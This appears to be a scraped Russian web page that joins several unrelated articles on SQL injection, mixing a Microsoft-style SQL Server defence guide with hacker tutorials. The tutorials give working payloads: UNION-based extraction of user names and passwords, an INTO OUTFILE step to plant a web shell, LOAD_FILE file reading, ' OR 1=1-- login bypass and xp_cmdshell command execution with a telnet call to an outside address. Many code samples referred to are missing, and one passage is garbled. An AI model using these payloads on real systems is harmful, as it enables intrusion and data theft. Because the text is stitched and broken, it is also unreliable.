Sql инфекции что это
Обновлено: 18.04.2024
Внедрение кода SQL — это атака, во время которой вредоносный код вставляется в строки, которые позже будут переданы на экземпляр SQL Server для анализа и выполнения. Любая процедура, создающая инструкции SQL, должна рассматриваться на предмет уязвимости к внедрению кода, так как SQL Server выполняет все получаемые синтаксически правильные запросы. Даже параметризованные данные могут стать предметом манипуляций опытного злоумышленника.
Принцип действия атаки путем внедрения кода SQL
Основная форма атаки SQL Injection состоит в прямой вставке кода в пользовательские входные переменные, которые объединяются с командами SQL и выполняются. Менее явная атака внедряет небезопасный код в строки, предназначенные для хранения в таблице или в виде метаданных. Когда впоследствии сохраненные строки объединяются с динамической командой SQL, происходит выполнение небезопасного кода.
Следующий скрипт показывает простую атаку SQL Injection. Скрипт формирует SQL-запрос, выполняя объединение жестко запрограммированных строк со строкой, введенной пользователем:
Пользователю выводится запрос на ввод названия города. Если пользователь вводит Redmond , то запрос, построенный с помощью скрипта, выглядит приблизительно так:
Предположим, однако, что пользователь вводит следующее:
В этом случае запрос, построенный скриптом, будет следующим:
Если вставленный код SQL синтаксически верен, искаженные данные нельзя выявить программно. Поэтому необходимо проверять правильность всех вводимых пользователями данных, а также внимательно просматривать код, выполняющий созданные с помощью SQL команды на сервере. Рекомендуемые приемы программирования описываются в следующих подразделах этого раздела.
Проверка достоверности всех вводимых данных
Всегда проверяйте все данные, вводимые пользователем, выполняя проверку типа, длины, формата и диапазона данных. При реализации мер предосторожности, направленных против злонамеренного ввода данных, учитывайте архитектуру и сценарии развертывания приложения. Помните, что программы, созданные для работы в безопасной среде, могут быть скопированы в небезопасную среду. Рекомендуется следующая стратегия:
Не делайте никаких предположений о размере, типе или содержимом данных, получаемых приложением. Например, рекомендуется оценить следующее.
Как приложение будет вести себя, если пользователь по ошибке или по злому умыслу вставит MPEG-файл размером 10 МБ там, где приложение ожидает ввод почтового индекса?
Как приложение будет вести себя, если в текстовое поле будет внедрена инструкция DROP TABLE ?
Проверьте размер и тип вводимых данных и установите соответствующие ограничения. Это поможет предотвратить преднамеренное переполнение буфера.
Проверяйте содержимое строковых переменных и допускайте только ожидаемые значения. Отклоняйте записи, содержащие двоичные данные, управляющие последовательности и символы комментария. Это поможет предотвратить внедрение скрипта и защитит от некоторых приемов атаки, использующих переполнение буфера.
При работе с XML-документами проверяйте все вводимые данные на соответствие схеме.
Никогда не создавайте инструкции Transact-SQL непосредственно из данных, вводимых пользователем.
Для проверки вводимых пользователем данных используйте хранимые процедуры.
В многоуровневых средах перед передачей в доверенную зону должны проверяться все данные. Данные, не прошедшие процесс проверки, следует отклонять и возвращать ошибку на предыдущий уровень.
Внедрите многоэтапную проверку достоверности. Меры предосторожности, предпринятые против случайных пользователей-злоумышленников, могут оказаться неэффективными против организаторов преднамеренных атак. Рекомендуется проверять данные, вводимые через пользовательский интерфейс, и далее во всех последующих точках пересечения границ доверенной зоны.
Например, проверка данных в клиентском приложении может предотвратить простое внедрение скрипта. Однако если следующий уровень предполагает, что вводимые данные уже были проверены, то любой злоумышленник, которому удастся обойти клиентскую систему, сможет получить неограниченный доступ к системе.
Никогда не объединяйте введенные пользователем данные без проверки. Объединение строк является основной точкой входа для внедрения скрипта.
Не допускайте использование в полях следующих строк, из которых могут быть созданы имена файлов: AUX, CLOCK$, COM1–COM8, CON, CONFIG$, LPT1–LPT8, NUL и PRN.
По возможности отклоняйте вводимые данные, содержащие следующие символы:
Использование SQL-параметров безопасных типов
Коллекция Parameters в SQL Server обеспечивает проверку длины и контроль соответствия типов. Если используется коллекция Parameters , то вводимые данные обрабатываются как буквенное значение, а не исполняемый код. Дополнительное преимущество использования коллекции Parameters состоит в том, что можно использовать принудительные проверки типа и длины данных. Если значение выходит за рамки диапазона, будет вызвано исключение. В следующем фрагменте кода демонстрируется использование коллекции Parameters :
В этом примере параметр @au_id обрабатывается как буквенное значение, а не исполняемый код. Это значение проверяется по типу и длине. Если значение @au_id не соответствует указанным ограничениям типа и длины, то будет вызвано исключение.
Использование параметризованного ввода с хранимыми процедурами
Хранимые процедуры могут быть подвержены атакам SQL Injection, если они используют нефильтрованные входные данные. Например, следующий код является уязвимым:
Если используются хранимые процедуры, то в качестве их входных данных следует использовать параметры.
Использование коллекции Parameters с динамическим SQL
Если невозможно использовать хранимые процедуры, сохраняется возможность использования параметров, как показано в следующем примере кода:
Фильтрация ввода
Для защиты от атак SQL injection посредством удаления escape-символов можно также использовать фильтрацию ввода. Однако этот метод защиты не является надежным в связи с тем, что проблемы может создавать большое число символов. В следующем примере производится поиск разделителей символьных строк:
Предложения LIKE
Обратите внимание, что при использовании предложения LIKE подстановочные знаки по-прежнему нужно выделять escape-символами:
Просмотр кода на предмет возможности атаки SQL Injection
Необходимо просматривать все фрагменты кода, вызывающие инструкции EXECUTE , EXEC или sp_executesql . Чтобы выявить процедуры, содержащие эти инструкции, можно использовать запросы, подобные следующему. Этот запрос проверяет наличие 1, 2, 3 или 4 пробелов после слов EXECUTE и EXEC .
Упаковка параметров с помощью функций QUOTENAME() и REPLACE()
Убедитесь, что в каждой выбранной хранимой процедуре все используемые в динамическом Transact-SQL переменные обрабатываются правильно. Данные, поступающие через входные параметры хранимой процедуры или считываемые из таблицы, должны быть помещены в функции QUOTENAME() или REPLACE(). Помните, что значение @variable , передаваемое функции QUOTENAME(), принадлежит к типу sysname и имеет ограничение длины в 128 символов.
| @переменная | Рекомендуемый упаковщик |
|---|---|
| Имя защищаемого объекта | QUOTENAME(@variable) |
| Строка, содержащая не более 128 знаков. | QUOTENAME(@variable, '''') |
| Строка из > 128 символов | REPLACE(@variable,'''', '''''') |
При использовании этого метода инструкция SET может быть исправлена следующим образом:
Атака Injection, проводимая с помощью усечения данных
Любое присваивАՐܐސпеременной диݐАܐؑǐՑPڐސзначение Transact-SQL усекается, если оно не вмещается в буфер, назначенный для этой переменной. Если организатор атаки способен обеспечить усечение инструкции, передавая хранимой процедуре непредвиденно длинные строки, он получает возможность манипулировать результатом. Так, хранимая процедура, создаваемая с помощью следующего скрипта, уязвима для атаки Injection, проводимой методом усечения.
Передавая 154 знака в буфер, рассчитанный на 128 знаков, злоумышленник может установить новый пароль для sa, не зная старого пароля.
Поэтому для переменной команды следует использовать большой буфер или непосредственно выполнять динамический Transact-SQL внутри инструкции EXECUTE .
Усечение при использовании функций QUOTENAME(@variable, '''') и REPLACE()
Если строки, возвращаемые функциями QUOTENAME() и REPLACE(), не умещаются в выделенном пространстве, они усекаются без взаимодействия с пользователем. Хранимая процедура, создаваемая в следующем примере, показывает, что может произойти.
Таким образом, следующая инструкция установит для паролей всех пользователей значение, переданное предыдущим фрагментом кода.
Возможно выполнить принудительное усечение строки, для чего нужно превысить выделенное для буфера пространство при использовании функции REPLACE(). Хранимая процедура, создаваемая в следующем примере, показывает, что может произойти.
Как и в случае с функцией QUOTENAME(), усечения строки с помощью функции REPLACE() можно избежать, объявив временные переменные, достаточно большие для всех случаев. По возможности функции QUOTENAME() или REPLACE() следует вызывать непосредственно внутри динамического Transact-SQL. Или же необходимый размер буфера можно рассчитать следующим образом. Для @outbuffer = QUOTENAME(@input) размер буфера переменной @outbuffer должен составлять 2*(len(@input)+1) . При использовании функции REPLACE() и двойных кавычек, как в предыдущем примере, достаточно буфера размером 2*len(@input) .
Следующий расчет применим ко всем случаям.
Усечение при использовании функции QUOTENAME(@variable, ']')
Усечение может произойти, когда имя защищаемого объекта SQL Server передается инструкциям, которые используют форму функции QUOTENAME(@variable, ']') . В следующем примере приведена иллюстрация этого.
При сцеплении значений типа sysname рекомендуется использовать временные переменные достаточно больших размеров, чтобы они могли вмещать до 128 знаков на одно значение. По возможности функцию QUOTENAME() следует вызывать непосредственно внутри динамического Transact-SQL. Или же необходимый размер буфера можно рассчитать, как это показано в предыдущем разделе.
Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.
Предисловие
Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.
Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры — как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.
Что же такое SQL инъекция?
Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:
Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php
Поиск SQL injection
Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!
Числовой входящий параметр
Т.к. у нас запрос не имеет фильтрации:
Скрипт поймет это как
И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16
Если ошибку не выдало — могут быть следующие причины:
1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.
Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.
Строковой входящий параметр
Запросы будем посылать на index2.php. В данном файле, запрос имеет вид:
Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит — приступим к практике.
Приступаем к действиям
Немного теории
Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.
ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20
Всё, что идет после комментария — будет отброшено То есть запрос:
SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra
Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:
Выучите параметр UNION. В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.
Извлекаем из этого пользу
Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.
Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.
Подбираем количество полей
Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.
GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY
Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:
sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.
Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5
Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.
Вывод данных
Допустим мы знаем, что еще существует таблица users в которой существуют поля id, name и pass.
Нам нужно достать Информацию о пользователе с построим такой запрос:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE >
Скрипт также продолжает выводить
Для этого, мы подставим название полей, за место цифр 1 и 3
sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE >
Получили то — что требовалось!
Чтение/Запись файлов
Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1' UNION SELECT 1,'',3,4,5 INTO OUTFILE '1.php' --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE, за место того поля, которое мы выбираем:
sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20
Таким образом, мы прочитали предыдущий записанный файл.
Способы защиты
Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
Как подсказал пользователь malroc. Защищаться использованием PDO или prepared statements.
Вместо завершения
Данная работа является переводом части работы Chris Anley Advanced SQL Injection In SQL Server Applications. (прямая ссылка для скачивания)
В последующих статьях, при наличии свободного времени, данный перевод будет доведен до конца.
P.S. Перевод будет интересен более в образовательных и исторических целях.
Оригинальное название статьи: Продвинутые SQL-инъекции в приложениях, использующих язык SQL.
Аннотация
Введение
SQL-инъекции возможны в том случае, когда злоумышленник может вставить свой SQL-код в запрос (query), для управления данными, которые отправляются в приложение.
Обычное SQL выражение выглядит следующим образом:
Тогда выражение примет следующий вид:
После того, как база данных попытается обработать подобный запрос будет возвращена следующая ошибка:
Приведем пример на основе страницы входа на основе Active Server Pages (ASP), которая при помощи SQL получает доступ к базе данных, чтобы авторизовать пользователя в каком-либо приложении.
Приведем код страницы, содержащей форму входа, в которую вводятся имя пользователя и пароль.
Ниже код (process_login.asp), определяющий корректность введенных данных.
Если пользователь введет:
Более того, злоумышленник может зайти в систему под любым именем пользователя, используя следующую конструкцию:
А введя следующую информацию взломщик сможет зайти в систему в качестве выдуманного пользователя:
И содержит следующих пользователей:
(В следующем примере мы будем использовать предложенную выше базу данных, а также asp скрипт, чтобы показать эту методику в действии.)
Которое вызовет следующую ошибку:
(которое в свою очередь породит новую ошибку)
В итоге хакер придет следующей конструкции:
Которая не вызовет ошибки и будет эквивалентна:
Мы можем использовать подобную технику для определения типа данных практически любой колонки, любой табилцы, находящейся в базе данных.
Однако, для возможности алгоритма на этом не заканчиваются. Хакер может получить полезную информацию из ошибок об окружении или самой базе данных. Список стандартных ошибок можно добыть используя конструкцию:
Выполнив этот запрос можно получить много занимательной информации.
Метод может быть использован для чтения любого значения в любой таблице в базе данных. Таким образом, если злоумышленник захочет узнать имена пользователей и пароли, то скорее всего для чтения данных он воспользуется следующей конструкцией:
Таким образом, мы получим список пользователей, после чего сможем перейти к получению паролей:
Более изящный способ — выделить все имена пользователей и пароли в одной выборке, а затем попытаться преобразовать их к целочисленному значению. Необходимо отметить, что выражения Transact-SQL могут быть собраны вмсте в одну строку не изменяя своего значения — рассмотрим следующий пример:
Взломщик, таким образом, может выбрать все строки из этой таблицы, так же как и в предыдущем примере:
А после заметет следы, удалив таблицу:
Вышеперечисленные примеры показывают нам всю гибкость, предлагаемую данным алгоритмом. Нет необходимости говорить, что если злоумышленнику удается вызвать ошибку при обращении к базе данных, то их работа в разы упрощается.
В наше время работа с базами данных поддерживается
практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД - системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.
Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам.
SQL Injection
$result=mysql_db_query($db,"SELECT * FROM $table WHERE user='$login' AND
pass='$password'");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
<
// AUTHENTICATION OK
>
else
<
// AUTHENTICATION ERROR
>
SELECT * FROM users WHERE login='user' AND
password='31337'
И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции "и" существует и "или", а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать "user' OR 1=1--", в таком случае запрос примет вид:
SELECT * FROM users WHERE login='user' OR 1=1--' AND
password='31337'
Для начала следует знать, что "--" означает конец запроса, и все после "--"
обрабатываться не будет! Получается, словно мы сделали запрос:
SELECT * FROM users WHERE login='user' OR 1=1
Как вы видите мы добавили условие "1=1", значит критерием проверки будет "если логин 'user' или 1=1", но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова :)). Чтобы проверить наши подозрения
забиваем в адресной строке "http://www.server.com?login=user or 1=1--&password=31337". Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри. ой, в системе и можем спокойно качать то что нам необходимо.
Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать "user' OR 1=1--" для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как "". Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг "FORM") для параметра "ACTION" указать полный путь к скрипту, что обрабатывает данный запрос.
Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:
SELECT * FROM users WHERE (login='user' AND password='31337')
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337
В таком случае можно попробовать следующие варианты:
' OR 1=1--
" OR 1=1--
OR 1=1--
' OR 'a'='a
" OR "a" а", а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место "a", следующие "b", "c", "d", "e". и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе "x", в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:
и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был "xxx" проверять необходимо существование пароля
"xxy":
чтобы не упустить не один вариант!
MS SQL Server
MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию "SELECT". В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet'у, необходимо место пароля/логина набрать:
'; exec master..xp_cmdshell 'telnet 192.168.0.1' --
У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом
' UNION SELECT TOP 1 login FROM users--
(login имя поля содержащего логин, а users - имя таблицы,
полуученые в процессе анализа ошибок).
Ответ может быть следующим:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin' to a column of data type int.
/default.asp, line 27
Теперь мы знаем, что есть пользователь с именем "admin". Теперь мы можем получить его пароль:
' UNION SELECT TOP 1 password FROM users where login='admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'xxx' to a column of data type int.
/tedault.asp, line 27
Теперь нам известно, что есть пользователь "admin" с паролем "xxx". Этим можно смело
воспользоваться и залогинится в систему 😉
Но для работы с SQL существует еще много других функций,
при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
В общем, SQL Server - рулит 🙂
Защита
Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL. Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это.
Читайте также: